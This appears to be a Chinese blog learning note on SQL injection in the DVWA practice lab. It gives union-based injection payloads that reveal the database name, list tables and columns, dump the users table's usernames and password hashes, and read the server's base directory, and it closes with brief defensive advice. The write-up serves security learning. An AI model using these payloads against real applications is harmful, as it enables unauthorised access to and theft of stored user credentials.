zoukankan      html  css  js  c++  java
  • Web安全测试学习笔记-DVWA-SQL注入-2

    接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息。

    1. 获取当前数据库名称

    输入:2' union select 1,database() '

    输出:数据库名称为dvwa 

    database()是Mysql自带函数,用来获取当前数据库名称。

    2.获取当前数据库所有表名

    输入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa

    输出:dvwa数据库中一共有两张表,分别是gestbook和users

    information_schema是MySQL自带数据库,用来存储MySQL数据库元数据,通俗来说就是MySQL中的所有数据库名,每个数据库的表名,每个表的列名等等。

    3. 获取用户表的所有字段名

    输入:1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users

    输出:users表中比较重要的列名:user,password

    4. 获取用户表中的数据

    输入:'UNION select user,password from users# (#为MySQL的注释符,相当于将后面的单引号注释掉了)

    输出:拿到了所有用户名和加密过的密码

    如果数据库的密码存储的是明文,Hmm......

    同理,你还想要什么数据,都可以随便取用了,把整个数据库拖出来都可以!

    如果是涉及到money的系统数据库被攻破,Hmm......Hmm......

     

    5. 获取操作系统类型

    输入:'UNION select 1,@@basedir#

    输出:Windows操作系统

     

    一点点感悟:

    1. 对输入进行过滤

    2. 数据库中的敏感信息一定要加密!

    3. 听说参数化和预编译能很好的防御SQL注入

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    Java 继承和重写
    Java 构造函数和函数重载
    java 面向对象
    for循环和数组例题
    java数组和函数
    java程序流程控制
    CF600C Make Palindrome
    CF600A Extract Numbers
    [NOI2007]社交网络
    SPOJ 6779 GSS7
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/11843457.html
Copyright © 2011-2022 走看看